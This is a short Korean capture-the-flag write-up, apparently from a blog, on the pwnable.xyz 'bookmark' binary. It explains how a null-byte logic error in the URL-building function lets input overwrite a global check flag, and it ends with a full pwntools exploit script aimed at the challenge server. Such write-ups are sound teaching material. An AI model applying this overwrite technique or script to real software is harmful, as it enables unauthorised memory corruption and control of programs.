반응형
문제 풀이 환경 : Ubuntu 16.04
간단한 문제다.
📝 Analysis
<< Mitigation >>
난 풀밭이 싫다.
<< Code >>
· main
check 전역 변수의 값이 0이 아니라면 win 함수를 호출하니 여기를 부를 수 있도록 하면 된다.
조작할 수 있는 공격 벡터가 존재하는 곳은 딱 봐도 2번 메뉴밖에 없어 보인다.
· create_rul
bm에 처음 프로토콜 종류를 입력하고 secure인지 판단하고 그다음 character부터 ': or /'가 안 나올 때까지 뒤로 간다.
그렇게 그 부분을 찾은 다음에 사용자가 제한된 크기 안에서 입력하고 싶은 값을 입력하고 bm부터 훑었을 때 가장 처음 null byte가 나오는 곳부터 입력한 값을 붙여준다.
✨ Thinking
현재 bss 구조다.
이 부분의 로직 에러를 이용해서 계속 뒤로 붙여보자고 생각했다.
핵심은 null byte를 붙이는 *now = 0; 부분을 앞에서 끊기게 하지 말고 뒤에서 생기게 하는 것이다.
create_url 함수에서 입력 시 고려해야 할 사항은 다음과 같다.
1. bm 입력할 때 9글자를 꽉 채워서 주는 걸로 read가 뒤에 붙이는 null을 없앤다.
2. bm에 http(or https) 입력 후 뒤에 ': , /' 나오는 부분 뒤에 null 붙여주니까 계속 둘 중 하나를 반복해서 보내주면 null을 뒤로 보내준다.
3. 잘 컨트롤했다면 해당 null부터 내가 입력해준 값이 이어지게 된다.
🚩 Flag 🚩
from pwn import *
# p = process('./bookmark')
p = remote('svc.pwnable.xyz', 30021)
def create(bm, size, url):
p.sendlineafter('> ', '2')
p.sendafter('insecure: ', bm) # no null byte on the last
p.sendlineafter('Size of url: ', str(size))
p.send(url)
create('http' + 'A' * 5, (0x70 - 4), ':' * (0x70 - 4))
create('http' + ':' * 5, 0x70, ':' * 0x70)
create('http' + ':' * 5, 0x30, b':' * 0x28 + p64(1))
p.sendlineafter('> ', '4')
p.interactive()
반응형